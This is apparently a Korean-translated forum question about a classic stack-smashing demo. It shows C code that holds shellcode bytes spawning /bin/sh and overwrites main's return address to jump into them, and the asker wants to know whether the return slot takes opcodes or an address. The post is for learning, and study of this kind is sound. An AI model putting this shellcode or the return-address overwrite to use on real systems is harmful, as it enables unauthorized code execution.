char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
내 지식으로는 shellcode[]
은 쉘을 생성하기위한 16 진수 opcode이며 코드의 마지막 줄이 opcode로 ret를 덮어 씁니다. 우리는 opcode 또는 메모리 주소를 RET에 삽입합니까?EIP/RET? opcode 또는 메모리 주소에 무엇을 삽입합니까?
여기에서 물어 보려는 내용이 전혀 명확하지 않습니다. –
editted ......................... –
실수로 opip 대신 –